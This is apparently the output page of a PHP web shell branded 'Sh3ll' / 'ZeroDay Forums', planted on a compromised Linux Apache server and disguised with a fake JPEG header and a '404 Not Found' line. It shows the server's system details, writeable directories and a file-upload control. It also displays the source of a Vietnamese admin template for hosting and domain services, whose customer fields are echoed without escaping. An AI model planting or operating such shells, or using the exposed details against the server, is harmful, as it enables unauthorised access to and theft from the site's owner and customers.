����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/admin.adimi/code/management/service/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/admin.adimi/code/management/service/post_tpl.php
<div class="card card-warning">
    <div class="card-header">
        <h3 class="card-title">Thông tin dịch vụ</h3>
    </div>
    <!-- /.card-header -->
    <div class="card-body">
        <form action="?act=management&code=service&type=post" method="post">
            <input type="hidden" name="f[service_id]" value="<?php echo $row_check['service_id'];?>">
            <div class="row">
                <div class="col-sm-12">
                    <div class="form-group">
                        <label>Khách hàng</label>
                        <select class="form-control select2 select2-danger" data-dropdown-css-class="select2-danger" name="f[customer_id]" id="search_customer" required>
                            <?php echo $txt_op_customer;?>
                        </select>
                    </div>
                </div>
            </div>
            <div class="row">
                <div class="col-sm-6">
                    <!-- text input -->
                    <div class="form-group">
                        <label>Tên gói dịch vụ</label>
                        <textarea class="form-control" rows="2" placeholder="" name="f[service_title]" required><?php echo $row_check['service_title'];?></textarea>
                    </div>
                </div>
                <div class="col-sm-6">
                    <div class="form-group">
                        <label>Danh mục dịch vụ</label>
                        <select class="form-control" name="f[service_cat]" required>
                            <?php echo op_service_cat($row_check['service_cat']);?>
                        </select>
                    </div>
                </div>
            </div>
            <button type="submit" class="btn btn-primary" name="submitbt">Submit</button>
        </form>
    </div>
    <!-- /.card-body -->
</div>

<?php
if($row_check['service_id']>0){
    ?>
    <div class="card card-warning">
        <div class="card-header">
            <h3 class="card-title">Chi tiết dịch vụ</h3>
            <div class="card-tools"><a href="?act=management&amp;code=service&type=post&amp;type2=post_service_event&id=<?php echo $row_check['service_id'];?>" class="btn btn-sm btn-success"><i class="fas fa-plus"></i> Thêm mới</a></div>
        </div>
        <!-- /.card-header -->
        <div class="card-body">

            <?php
            if($type2=='post_service_event'){
                ?>
                <form action="?act=management&code=service&type=post_service_event" method="post">
                    <input type="hidden" name="f[service_id]" value="<?php echo $row_check['service_id'];?>">
                    <input type="hidden" name="f[service_event_id]" value="<?php echo $row_check_event['service_event_id'];?>">

                    <div class="row">
                        <div class="col-sm-6">
                            <!-- text input -->
                            <div class="form-group">
                                <label>Đơn vị tính</label>
                                <select class="form-control" name="f[service_event_donvitinh]">
                                    <?php echo op_service_donvitinh($row_check_event['service_event_donvitinh']);?>
                                </select>
                            </div>
                        </div>

                        <div class="col-sm-6">
                            <!-- text input -->
                            <div class="form-group">
                                <label>Đơn vị gia hạn</label>
                                <select class="form-control" name="f[service_event_donvigiahan]">
                                    <?php echo op_service_donvigiahan($row_check_event['service_event_donvigiahan']);?>
                                </select>
                            </div>
                        </div>

                    </div>

                    <?php
                    if($row_check['service_cat']=='Hosting'){
                        ?>
                        <div class="row">

                            <div class="col-sm-6">
                                <div class="form-group">
                                    <label>Số lượng</label>
                                    <input class="form-control" type="number" name="f[service_event_soluong]" value="<?php echo $row_check_event['service_event_soluong'];?>" required>
                                </div>
                            </div>
                            <div class="col-sm-6">
                                <div class="form-group">
                                    <label>Đơn giá (VNĐ)</label>
                                    <input class="form-control" type="number" name="f[service_event_dongia]" value="<?php echo $row_check_event['service_event_dongia'];?>" required>
                                </div>
                            </div>
                        </div>
                        <div class="row">
                            <div class="col-sm-6">
                                <!-- text input -->
                                <div class="form-group">
                                    <label>Thuế (%VAT)</label>
                                    <input class="form-control" type="number" name="f[service_event_tax]" value="<?php echo $row_check_event['service_event_tax'];?>">
                                </div>
                            </div>
                            <div class="col-sm-6">
                                <div class="form-group">
                                    <label>Giảm giá (%)</label>
                                    <input class="form-control" type="number" name="f[service_event_discount]" value="<?php echo $row_check_event['service_event_discount'];?>">
                                </div>
                            </div>
                        </div>
                        <div class="row">
                            <div class="col-sm-6">
                                <!-- text input -->
                                <div class="form-group">
                                    <label>Dịch vụ từ ngày</label>
                                    <input type="text" class="mydatepicker form-control" name="f[service_event_begin]" value="<?php echo $row_check_event['service_event_begin'];?>" required>
                                </div>
                            </div>
                            <div class="col-sm-6">
                                <div class="form-group">
                                    <label>Đến ngày</label>
                                    <input type="text" class="mydatepicker form-control" name="f[service_event_end]" value="<?php echo $row_check_event['service_event_end'];?>">
                                </div>
                            </div>
                        </div>
                    <?php } ?>
                    <?php
                    if($row_check['service_cat']=='QTW'){
                        ?>
                        <div class="row">
                            <div class="col-sm-4">
                                <!-- text input -->
                                <div class="form-group">
                                    <label>Số lượng website</label>
                                    <input type="text" class="form-control" name="f[service_event_soluongweb]" value="<?php echo $row_check_event['service_event_soluongweb'];?>" required>
                                </div>
                            </div>
                            <div class="col-sm-4">
                                <div class="form-group">
                                    <label>Tên website</label>
                                    <input type="text" class="form-control" name="f[service_event_tenweb]" value="<?php echo $row_check_event['service_event_tenweb'];?>">
                                </div>
                            </div>
                            <div class="col-sm-4">
                                <div class="form-group">
                                    <label>Bài viết/Tháng</label>
                                    <input type="text" class="form-control" name="f[service_event_soluongbaiviet]" value="<?php echo $row_check_event['service_event_soluongbaiviet'];?>">
                                </div>
                            </div>
                        </div>
                        <div class="row">
                            <div class="col-sm-6">
                                <!-- text input -->
                                <div class="form-group">
                                    <label>Số lượng tối đa Sửa bài/Tháng</label>
                                    <input type="text" class="form-control" name="f[service_event_soluongsuabai]" value="<?php echo $row_check_event['service_event_soluongsuabai'];?>" required>
                                </div>
                            </div>
                            <div class="col-sm-6">
                                <div class="form-group">
                                    <label>Dịch vụ từ ngày</label>
                                    <input type="text" class="mydatepicker form-control" name="f[service_event_begin]" value="<?php echo $row_check_event['service_event_begin'];?>">
                                </div>
                            </div>
                        </div>

                        <div class="row">
                            <div class="col-sm-3">
                                <!-- text input -->
                                <div class="form-group">
                                    <label>Thời hạn hợp đồng (tháng)</label>
                                    <input type="text" class="form-control" name="f[service_event_thoihanhopdong]" value="<?php echo $row_check_event['service_event_thoihanhopdong'];?>" required>
                                </div>
                            </div>
                            <div class="col-sm-3">
                                <!-- text input -->
                                <div class="form-group">
                                    <label>Tự động gia hạn</label>
                                    <select class="form-control" name="f[service_event_tudonggiahan]">
                                        <option value="yes" <?php if($row_check_event['service_event_tudonggiahan']=='yes'){echo 'selected';}?>>Yes</option>
                                        <option value="no" <?php if($row_check_event['service_event_tudonggiahan']=='no'){echo 'selected';}?>>No</option>
                                    </select>
                                </div>
                            </div>
                            <div class="col-sm-3">
                                <div class="form-group">
                                    <label>Giá trị hợp đồng/tháng</label>
                                    <input type="text" class="form-control" name="f[service_event_dongia]" value="<?php echo $row_check_event['service_event_dongia'];?>">
                                </div>
                            </div>
                            <div class="col-sm-3">
                                <!-- text input -->
                                <div class="form-group">
                                    <label>Đã bao gồm VAT?</label>
                                    <select class="form-control" name="f[service_event_covat]">
                                        <option value="yes" <?php if($row_check_event['service_event_covat']=='yes'){echo 'selected';}?>>Yes</option>
                                        <option value="no" <?php if($row_check_event['service_event_covat']=='no'){echo 'selected';}?>>No</option>
                                    </select>
                                </div>
                            </div>

                        </div>

                        <div class="row">
                            <div class="col-sm-3">
                                <!-- text input -->
                                <div class="form-group">
                                    <label>Số đợt thanh toán</label>
                                    <input type="text" class="form-control" name="f[service_event_sodotthanhtoan]" value="<?php echo $row_check_event['service_event_sodotthanhtoan'];?>" required>
                                </div>
                            </div>
                            <div class="col-sm-3">
                                <!-- text input -->
                                <div class="form-group">
                                    <label>Thời gian thanh toán (ngày)</label>
                                    <input type="text" class="form-control" name="f[service_event_thoigianthanhtoan]" value="<?php echo $row_check_event['service_event_thoigianthanhtoan'];?>" required>
                                </div>
                            </div>

                        </div>
                    <?php } ?>

                    <?php
                    if($row_check['service_cat']=='QTF'){
                        ?>
                        <div class="row">
                            <div class="col-sm-4">
                                <!-- text input -->
                                <div class="form-group">
                                    <label>Số lượng Fanpage</label>
                                    <input type="text" class="form-control" name="f[service_event_soluongweb]" value="<?php echo $row_check_event['service_event_soluongweb'];?>" required>
                                </div>
                            </div>
                            <div class="col-sm-4">
                                <div class="form-group">
                                    <label>Tên Fanpage</label>
                                    <input type="text" class="form-control" name="f[service_event_tenweb]" value="<?php echo $row_check_event['service_event_tenweb'];?>">
                                </div>
                            </div>
                            <div class="col-sm-4">
                                <div class="form-group">
                                    <label>Bài viết/Tháng/Fanpage</label>
                                    <input type="text" class="form-control" name="f[service_event_soluongbaiviet]" value="<?php echo $row_check_event['service_event_soluongbaiviet'];?>">
                                </div>
                            </div>
                        </div>
                        <div class="row">
                            <div class="col-sm-4">
                                <!-- text input -->
                                <div class="form-group">
                                    <label>Số lượng like bài/Tháng</label>
                                    <input type="text" class="form-control" name="f[service_event_soluonglikebai]" value="<?php echo $row_check_event['service_event_soluonglikebai'];?>" required>
                                </div>
                            </div>
                            <div class="col-sm-4">
                                <!-- text input -->
                                <div class="form-group">
                                    <label>Số lượng like Fanpage/Tháng</label>
                                    <input type="text" class="form-control" name="f[service_event_soluonglikefanpage]" value="<?php echo $row_check_event['service_event_soluonglikefanpage'];?>" required>
                                </div>
                            </div>
                            <div class="col-sm-4">
                                <div class="form-group">
                                    <label>Dịch vụ từ ngày</label>
                                    <input type="text" class="mydatepicker form-control" name="f[service_event_begin]" value="<?php echo $row_check_event['service_event_begin'];?>">
                                </div>
                            </div>
                        </div>

                        <div class="row">
                            <div class="col-sm-3">
                                <!-- text input -->
                                <div class="form-group">
                                    <label>Thời hạn hợp đồng (tháng)</label>
                                    <input type="text" class="form-control" name="f[service_event_thoihanhopdong]" value="<?php echo $row_check_event['service_event_thoihanhopdong'];?>" required>
                                </div>
                            </div>
                            <div class="col-sm-3">
                                <!-- text input -->
                                <div class="form-group">
                                    <label>Tự động gia hạn</label>
                                    <select class="form-control" name="f[service_event_tudonggiahan]">
                                        <option value="yes" <?php if($row_check_event['service_event_tudonggiahan']=='yes'){echo 'selected';}?>>Yes</option>
                                        <option value="no" <?php if($row_check_event['service_event_tudonggiahan']=='no'){echo 'selected';}?>>No</option>
                                    </select>
                                </div>
                            </div>
                            <div class="col-sm-3">
                                <div class="form-group">
                                    <label>Giá trị hợp đồng/tháng</label>
                                    <input type="text" class="form-control" name="f[service_event_dongia]" value="<?php echo $row_check_event['service_event_dongia'];?>">
                                </div>
                            </div>
                            <div class="col-sm-3">
                                <!-- text input -->
                                <div class="form-group">
                                    <label>Đã bao gồm VAT?</label>
                                    <select class="form-control" name="f[service_event_covat]">
                                        <option value="yes" <?php if($row_check_event['service_event_covat']=='yes'){echo 'selected';}?>>Yes</option>
                                        <option value="no" <?php if($row_check_event['service_event_covat']=='no'){echo 'selected';}?>>No</option>
                                    </select>
                                </div>
                            </div>

                        </div>

                        <div class="row">
                            <div class="col-sm-3">
                                <!-- text input -->
                                <div class="form-group">
                                    <label>Số đợt thanh toán</label>
                                    <input type="text" class="form-control" name="f[service_event_sodotthanhtoan]" value="<?php echo $row_check_event['service_event_sodotthanhtoan'];?>" required>
                                </div>
                            </div>
                            <div class="col-sm-3">
                                <!-- text input -->
                                <div class="form-group">
                                    <label>Thời gian thanh toán (ngày)</label>
                                    <input type="text" class="form-control" name="f[service_event_thoigianthanhtoan]" value="<?php echo $row_check_event['service_event_thoigianthanhtoan'];?>" required>
                                </div>
                            </div>

                        </div>
                    <?php } ?>

                    <?php
                    if($row_check['service_cat']=='TKW'){
                        ?>
                        <div class="row">
                            <div class="col-sm-4">
                                <!-- text input -->
                                <div class="form-group">
                                    <label>Số lượng website</label>
                                    <input type="text" class="form-control" name="f[service_event_soluongweb]" value="<?php echo $row_check_event['service_event_soluongweb'];?>" required>
                                </div>
                            </div>
                            <div class="col-sm-4">
                                <div class="form-group">
                                    <label>Tên website</label>
                                    <input type="text" class="form-control" name="f[service_event_tenweb]" value="<?php echo $row_check_event['service_event_tenweb'];?>">
                                </div>
                            </div>
                            <div class="col-sm-4">
                                <div class="form-group">
                                    <label>Số lượng đăng bài viết demo</label>
                                    <input type="text" class="form-control" name="f[service_event_soluongbaiviet]" value="<?php echo $row_check_event['service_event_soluongbaiviet'];?>">
                                </div>
                            </div>
                        </div>
                        <div class="row">
                            <div class="col-sm-4">
                                <!-- text input -->
                                <div class="form-group">
                                    <label>Mã nguồn</label>
                                    <input type="text" class="form-control" name="f[service_event_manguon]" value="<?php echo $row_check_event['service_event_manguon'];?>" required>
                                </div>
                            </div>
                            <div class="col-sm-4">
                                <div class="form-group">
                                    <label>Dịch vụ từ ngày</label>
                                    <input type="text" class="mydatepicker form-control" name="f[service_event_begin]" value="<?php echo $row_check_event['service_event_begin'];?>">
                                </div>
                            </div>
                            <div class="col-sm-4">
                                <div class="form-group">
                                    <label>Thời gian thực hiện (ngày)</label>
                                    <input type="number" class="form-control" name="f[service_event_thoigianthuchien]" value="<?php echo $row_check_event['service_event_thoigianthuchien'];?>">
                                </div>
                            </div>
                        </div>

                        <div class="row">

                            <div class="col-sm-6">
                                <div class="form-group">
                                    <label>Giá trị hợp đồng</label>
                                    <input type="text" class="form-control" name="f[service_event_dongia]" value="<?php echo $row_check_event['service_event_dongia'];?>">
                                </div>
                            </div>
                            <div class="col-sm-6">
                                <!-- text input -->
                                <div class="form-group">
                                    <label>Đã bao gồm VAT?</label>
                                    <select class="form-control" name="f[service_event_covat]">
                                        <option value="yes" <?php if($row_check_event['service_event_covat']=='yes'){echo 'selected';}?>>Yes</option>
                                        <option value="no" <?php if($row_check_event['service_event_covat']=='no'){echo 'selected';}?>>No</option>
                                    </select>
                                </div>
                            </div>

                        </div>

                        <div class="row">
                            <div class="col-sm-3">
                                <!-- text input -->
                                <div class="form-group">
                                    <label>Số đợt thanh toán</label>
                                    <input type="text" class="form-control" name="f[service_event_sodotthanhtoan]" value="<?php echo $row_check_event['service_event_sodotthanhtoan'];?>" required>
                                </div>
                            </div>
                            <div class="col-sm-3">
                                <!-- text input -->
                                <div class="form-group">
                                    <label>Thời gian thanh toán (ngày)</label>
                                    <input type="text" class="form-control" name="f[service_event_thoigianthanhtoan]" value="<?php echo $row_check_event['service_event_thoigianthanhtoan'];?>" required>
                                </div>
                            </div>

                        </div>
                    <?php } ?>

                    <?php
                    if($row_check['service_cat']=='shopee'){
                        ?>
                        <div class="row">
                            <div class="col-sm-4">
                                <!-- text input -->
                                <div class="form-group">
                                    <label>Số lượng website</label>
                                    <input type="text" class="form-control" name="f[service_event_soluongweb]" value="<?php echo $row_check_event['service_event_soluongweb'];?>" required>
                                </div>
                            </div>
                            <div class="col-sm-4">
                                <div class="form-group">
                                    <label>Tên website</label>
                                    <input type="text" class="form-control" name="f[service_event_tenweb]" value="<?php echo $row_check_event['service_event_tenweb'];?>">
                                </div>
                            </div>
                            <div class="col-sm-4">
                                <div class="form-group">
                                    <label>Bài viết/Tháng</label>
                                    <input type="text" class="form-control" name="f[service_event_soluongbaiviet]" value="<?php echo $row_check_event['service_event_soluongbaiviet'];?>">
                                </div>
                            </div>
                        </div>
                        <div class="row">
                            <div class="col-sm-6">
                                <!-- text input -->
                                <div class="form-group">
                                    <label>Số lượng tối đa Sửa bài/Tháng</label>
                                    <input type="text" class="form-control" name="f[service_event_soluongsuabai]" value="<?php echo $row_check_event['service_event_soluongsuabai'];?>" required>
                                </div>
                            </div>
                            <div class="col-sm-6">
                                <div class="form-group">
                                    <label>Dịch vụ từ ngày</label>
                                    <input type="text" class="mydatepicker form-control" name="f[service_event_begin]" value="<?php echo $row_check_event['service_event_begin'];?>">
                                </div>
                            </div>
                        </div>

                        <div class="row">
                            <div class="col-sm-3">
                                <!-- text input -->
                                <div class="form-group">
                                    <label>Thời hạn hợp đồng (tháng)</label>
                                    <input type="text" class="form-control" name="f[service_event_thoihanhopdong]" value="<?php echo $row_check_event['service_event_thoihanhopdong'];?>" required>
                                </div>
                            </div>
                            <div class="col-sm-3">
                                <!-- text input -->
                                <div class="form-group">
                                    <label>Tự động gia hạn</label>
                                    <select class="form-control" name="f[service_event_tudonggiahan]">
                                        <option value="yes" <?php if($row_check_event['service_event_tudonggiahan']=='yes'){echo 'selected';}?>>Yes</option>
                                        <option value="no" <?php if($row_check_event['service_event_tudonggiahan']=='no'){echo 'selected';}?>>No</option>
                                    </select>
                                </div>
                            </div>
                            <div class="col-sm-3">
                                <div class="form-group">
                                    <label>Giá trị hợp đồng/tháng</label>
                                    <input type="text" class="form-control" name="f[service_event_dongia]" value="<?php echo $row_check_event['service_event_dongia'];?>">
                                </div>
                            </div>
                            <div class="col-sm-3">
                                <!-- text input -->
                                <div class="form-group">
                                    <label>Đã bao gồm VAT?</label>
                                    <select class="form-control" name="f[service_event_covat]">
                                        <option value="yes" <?php if($row_check_event['service_event_covat']=='yes'){echo 'selected';}?>>Yes</option>
                                        <option value="no" <?php if($row_check_event['service_event_covat']=='no'){echo 'selected';}?>>No</option>
                                    </select>
                                </div>
                            </div>

                        </div>

                        <div class="row">
                            <div class="col-sm-3">
                                <!-- text input -->
                                <div class="form-group">
                                    <label>Số đợt thanh toán</label>
                                    <input type="text" class="form-control" name="f[service_event_sodotthanhtoan]" value="<?php echo $row_check_event['service_event_sodotthanhtoan'];?>" required>
                                </div>
                            </div>
                            <div class="col-sm-3">
                                <!-- text input -->
                                <div class="form-group">
                                    <label>Thời gian thanh toán (ngày)</label>
                                    <input type="text" class="form-control" name="f[service_event_thoigianthanhtoan]" value="<?php echo $row_check_event['service_event_thoigianthanhtoan'];?>" required>
                                </div>
                            </div>

                        </div>
                    <?php } ?>

                    <?php
                    if($row_check['service_cat']=='chotot'){
                        ?>
                        <div class="row">
                            <div class="col-sm-4">
                                <!-- text input -->
                                <div class="form-group">
                                    <label>Số lượng website</label>
                                    <input type="text" class="form-control" name="f[service_event_soluongweb]" value="<?php echo $row_check_event['service_event_soluongweb'];?>" required>
                                </div>
                            </div>
                            <div class="col-sm-4">
                                <div class="form-group">
                                    <label>Tên website</label>
                                    <input type="text" class="form-control" name="f[service_event_tenweb]" value="<?php echo $row_check_event['service_event_tenweb'];?>">
                                </div>
                            </div>
                            <div class="col-sm-4">
                                <div class="form-group">
                                    <label>Bài viết/Tháng</label>
                                    <input type="text" class="form-control" name="f[service_event_soluongbaiviet]" value="<?php echo $row_check_event['service_event_soluongbaiviet'];?>">
                                </div>
                            </div>
                        </div>
                        <div class="row">
                            <div class="col-sm-6">
                                <!-- text input -->
                                <div class="form-group">
                                    <label>Số lượng tối đa Sửa bài/Tháng</label>
                                    <input type="text" class="form-control" name="f[service_event_soluongsuabai]" value="<?php echo $row_check_event['service_event_soluongsuabai'];?>" required>
                                </div>
                            </div>
                            <div class="col-sm-6">
                                <div class="form-group">
                                    <label>Dịch vụ từ ngày</label>
                                    <input type="text" class="mydatepicker form-control" name="f[service_event_begin]" value="<?php echo $row_check_event['service_event_begin'];?>">
                                </div>
                            </div>
                        </div>

                        <div class="row">
                            <div class="col-sm-3">
                                <!-- text input -->
                                <div class="form-group">
                                    <label>Thời hạn hợp đồng (tháng)</label>
                                    <input type="text" class="form-control" name="f[service_event_thoihanhopdong]" value="<?php echo $row_check_event['service_event_thoihanhopdong'];?>" required>
                                </div>
                            </div>
                            <div class="col-sm-3">
                                <!-- text input -->
                                <div class="form-group">
                                    <label>Tự động gia hạn</label>
                                    <select class="form-control" name="f[service_event_tudonggiahan]">
                                        <option value="yes" <?php if($row_check_event['service_event_tudonggiahan']=='yes'){echo 'selected';}?>>Yes</option>
                                        <option value="no" <?php if($row_check_event['service_event_tudonggiahan']=='no'){echo 'selected';}?>>No</option>
                                    </select>
                                </div>
                            </div>
                            <div class="col-sm-3">
                                <div class="form-group">
                                    <label>Giá trị hợp đồng/tháng</label>
                                    <input type="text" class="form-control" name="f[service_event_dongia]" value="<?php echo $row_check_event['service_event_dongia'];?>">
                                </div>
                            </div>
                            <div class="col-sm-3">
                                <!-- text input -->
                                <div class="form-group">
                                    <label>Đã bao gồm VAT?</label>
                                    <select class="form-control" name="f[service_event_covat]">
                                        <option value="yes" <?php if($row_check_event['service_event_covat']=='yes'){echo 'selected';}?>>Yes</option>
                                        <option value="no" <?php if($row_check_event['service_event_covat']=='no'){echo 'selected';}?>>No</option>
                                    </select>
                                </div>
                            </div>

                        </div>

                        <div class="row">
                            <div class="col-sm-3">
                                <!-- text input -->
                                <div class="form-group">
                                    <label>Số đợt thanh toán</label>
                                    <input type="text" class="form-control" name="f[service_event_sodotthanhtoan]" value="<?php echo $row_check_event['service_event_sodotthanhtoan'];?>" required>
                                </div>
                            </div>
                            <div class="col-sm-3">
                                <!-- text input -->
                                <div class="form-group">
                                    <label>Thời gian thanh toán (ngày)</label>
                                    <input type="text" class="form-control" name="f[service_event_thoigianthanhtoan]" value="<?php echo $row_check_event['service_event_thoigianthanhtoan'];?>" required>
                                </div>
                            </div>

                        </div>
                    <?php } ?>

                    <?php
                    if($row_check['service_cat']=='Domain'){
                        ?>
                        <div class="row">
                            <div class="col-sm-4">
                                <!-- text input -->
                                <div class="form-group">
                                    <label>Từ ngày</label>
                                    <input type="text" class="mydatepicker form-control" name="f[service_event_begin]" value="<?php echo $row_check_event['service_event_begin'];?>" required>
                                </div>
                            </div>
                            <div class="col-sm-4">
                                <div class="form-group">
                                    <label>Đến ngày</label>
                                    <input type="text" class="mydatepicker form-control" name="f[service_event_end]" value="<?php echo $row_check_event['service_event_end'];?>" required>
                                </div>
                            </div>
                            <div class="col-sm-4">
                                <div class="form-group">
                                    <label>Tên miền</label>
                                    <input type="text" class="form-control" name="f[service_event_tenweb]" value="<?php echo $row_check_event['service_event_tenweb'];?>">
                                </div>
                            </div>
                        </div>

                    <div class="row">
                        <div class="col-sm-3">
                            <!-- text input -->
                            <div class="form-group">
                                <label>Quản lý kỹ thuật fullname</label>
                                <input type="text" class="form-control" name="f[qlkt_fullname]" value="<?php echo $row_check_event['qlkt_fullname'];?>">
                            </div>
                        </div>
                        <div class="col-sm-3">
                            <!-- text input -->
                            <div class="form-group">
                                <label>qlkt_chucvu</label>
                                <input type="text" class="form-control" name="f[qlkt_chucvu]" value="<?php echo $row_check_event['qlkt_chucvu'];?>">
                            </div>
                        </div>
                        <div class="col-sm-3">
                            <!-- text input -->
                            <div class="form-group">
                                <label>qlkt_diachi</label>
                                <input type="text" class="form-control" name="f[qlkt_diachi]" value="<?php echo $row_check_event['qlkt_diachi'];?>">
                            </div>
                        </div>
                        <div class="col-sm-3">
                            <!-- text input -->
                            <div class="form-group">
                                <label>qlkt_phone</label>
                                <input type="text" class="form-control" name="f[qlkt_phone]" value="<?php echo $row_check_event['qlkt_phone'];?>">
                            </div>
                        </div>
                        <div class="col-sm-3">
                            <!-- text input -->
                            <div class="form-group">
                                <label>qlkt_email</label>
                                <input type="text" class="form-control" name="f[qlkt_email]" value="<?php echo $row_check_event['qlkt_email'];?>">
                            </div>
                        </div>
                    </div>

                        <div class="row">
                            <div class="col-sm-3">
                                <!-- text input -->
                                <div class="form-group">
                                    <label>Quản lý tên miền fullname</label>
                                    <input type="text" class="form-control" name="f[qltm_fullname]" value="<?php echo $row_check_event['qltm_fullname'];?>">
                                </div>
                            </div>
                            <div class="col-sm-3">
                                <!-- text input -->
                                <div class="form-group">
                                    <label>qltm_chucvu</label>
                                    <input type="text" class="form-control" name="f[qltm_chucvu]" value="<?php echo $row_check_event['qltm_chucvu'];?>">
                                </div>
                            </div>
                            <div class="col-sm-3">
                                <!-- text input -->
                                <div class="form-group">
                                    <label>qltm_diachi</label>
                                    <input type="text" class="form-control" name="f[qltm_diachi]" value="<?php echo $row_check_event['qltm_diachi'];?>">
                                </div>
                            </div>
                            <div class="col-sm-3">
                                <!-- text input -->
                                <div class="form-group">
                                    <label>qltm_phone</label>
                                    <input type="text" class="form-control" name="f[qltm_phone]" value="<?php echo $row_check_event['qltm_phone'];?>">
                                </div>
                            </div>
                            <div class="col-sm-3">
                                <!-- text input -->
                                <div class="form-group">
                                    <label>qltm_email</label>
                                    <input type="text" class="form-control" name="f[qltm_email]" value="<?php echo $row_check_event['qltm_email'];?>">
                                </div>
                            </div>
                        </div>

                        <div class="row">
                            <div class="col-sm-3">
                                <!-- text input -->
                                <div class="form-group">
                                    <label>Người thanh toán fullname</label>
                                    <input type="text" class="form-control" name="f[ntt_fullname]" value="<?php echo $row_check_event['ntt_fullname'];?>">
                                </div>
                            </div>
                            <div class="col-sm-3">
                                <!-- text input -->
                                <div class="form-group">
                                    <label>ntt_chucvu</label>
                                    <input type="text" class="form-control" name="f[ntt_chucvu]" value="<?php echo $row_check_event['ntt_chucvu'];?>">
                                </div>
                            </div>
                            <div class="col-sm-3">
                                <!-- text input -->
                                <div class="form-group">
                                    <label>ntt_diachi</label>
                                    <input type="text" class="form-control" name="f[ntt_diachi]" value="<?php echo $row_check_event['ntt_diachi'];?>">
                                </div>
                            </div>
                            <div class="col-sm-3">
                                <!-- text input -->
                                <div class="form-group">
                                    <label>ntt_phone</label>
                                    <input type="text" class="form-control" name="f[ntt_phone]" value="<?php echo $row_check_event['ntt_phone'];?>">
                                </div>
                            </div>
                            <div class="col-sm-3">
                                <!-- text input -->
                                <div class="form-group">
                                    <label>ntt_email</label>
                                    <input type="text" class="form-control" name="f[ntt_email]" value="<?php echo $row_check_event['ntt_email'];?>">
                                </div>
                            </div>
                        </div>


                        <div class="row">

                            <div class="col-sm-4">
                                <div class="form-group">
                                    <label>Số tiền</label>
                                    <input type="text" class="form-control" name="f[service_event_dongia]" value="<?php echo $row_check_event['service_event_dongia'];?>">
                                </div>
                            </div>
                            <div class="col-sm-4">
                                <div class="form-group">
                                    <label>Số tiền giảm giá</label>
                                    <input type="text" class="form-control" name="f[service_event_discount]" value="<?php echo $row_check_event['service_event_discount'];?>">
                                </div>
                            </div>
                            <div class="col-sm-4">
                                <!-- text input -->
                                <div class="form-group">
                                    <label>Đã bao gồm VAT?</label>
                                    <select class="form-control" name="f[service_event_covat]">
                                        <option value="yes" <?php if($row_check_event['service_event_covat']=='yes'){echo 'selected';}?>>Yes</option>
                                        <option value="no" <?php if($row_check_event['service_event_covat']=='no'){echo 'selected';}?>>No</option>
                                    </select>
                                </div>
                            </div>

                        </div>


                    <?php } ?>

                    <button type="submit" class="btn btn-primary" name="submitbt">Submit</button>
                </form>
            <?php } ?>




            <?php
            if($row_check['service_cat']=='Hosting'){
                ?>

                <table class="table table-bordered mt-3">
                    <tr><th>#</th><th>Dịch vụ từ ngày</th><th>Đến ngày</th><th>Số lượng</th><th>Đơn giá (VNĐ)</th><th>Trạng thái</th><th>Tác vụ</th></tr>
                    <?php echo $txt_list_service_event;?>
                </table>
            <?php } ?>

            <?php
            if($row_check['service_cat']=='QTW'){
                ?>
                <table class="table table-bordered mt-3">
                    <tr><th>#</th><th>Dịch vụ từ ngày</th><th>Số lượng web</th><th>Tên web</th><th>Đơn giá/tháng (VNĐ)</th><th>Trạng thái</th><th>Tác vụ</th></tr>
                    <?php echo $txt_list_service_event;?>
                </table>
            <?php } ?>

            <?php
            if($row_check['service_cat']=='QTF'){
                ?>
                <table class="table table-bordered mt-3">
                    <tr><th>#</th><th>Dịch vụ từ ngày</th><th>Số lượng fanpage</th><th>Tên fanpage</th><th>Đơn giá/tháng (VNĐ)</th><th>Trạng thái</th><th>Tác vụ</th></tr>
                    <?php echo $txt_list_service_event;?>
                </table>
            <?php } ?>
            <?php
            if($row_check['service_cat']=='TKW'){
                ?>
                <table class="table table-bordered mt-3">
                    <tr><th>#</th><th>Dịch vụ từ ngày</th><th>Số lượng website</th><th>Tên fanpage</th><th>Giá trị (VNĐ)</th><th>Trạng thái</th><th>Tác vụ</th></tr>
                    <?php echo $txt_list_service_event;?>
                </table>
            <?php } ?>
            <?php
            if($row_check['service_cat']=='Domain'){
                ?>
                <table class="table table-bordered mt-3">
                    <tr><th>#</th><th>Tên domain</th><th>Từ ngày</th><th>Đến ngày</th><th>Giá trị (VNĐ)</th><th>Trạng thái</th><th>Tác vụ</th></tr>
                    <?php echo $txt_list_service_event;?>
                </table>
            <?php } ?>

        </div>
        <!-- /.card-body -->
    </div>

    <?php
    if($row_check_event['service_event_id']>0){
    ?>
    <div class="card card-success">
        <div class="card-header">
            <h3 class="card-title">Chi tiết thanh toán</h3>
            <div class="card-tools"><a href="?act=management&amp;code=service&type=post_service_payment&service_id=<?php echo $row_check['service_id'];?>&service_event_id=<?php echo $row_check_event['service_event_id'];?>" class="btn btn-sm btn-success"><i class="fas fa-plus"></i> Tạo hóa đơn thanh toán</a></div>
        </div>
        <div class="card-body">
            <?php
            if(!empty($txt_list_hd)){
                ?>
                <table class="table table-bordered">
                    <tr><th>Hóa đơn code</th><th>Ngày phát sinh</th><th>Hạn thanh toán</th><th>Ngày tạo</th><th>Tổng tiền</th><th>Tình trạng</th><th>Tác vụ</th></tr>
                    <?php echo $txt_list_hd;?>
                </table>
                    <?php
            }else{
                echo 'Bạn chưa tạo hóa đơn nào.';
            }
            ?>
        </div>
    </div>
    <?php } ?>
<?php } ?>
<script>
    function xn_tt(hoa_don_id){
        if(confirm('Bạn có chắc xác nhận hóa đơn này đã được thanh toán?')){
            $.ajax({
                type: 'POST',
                url: '?act=management&code=service&type=xn_tt',
                data: 'hoa_don_id='+hoa_don_id,
                dataType: 'text',
                success: function(data){
                    location.reload();
                    return false;
                }
            });
        }
    }
</script>

ZeroDay Forums Mini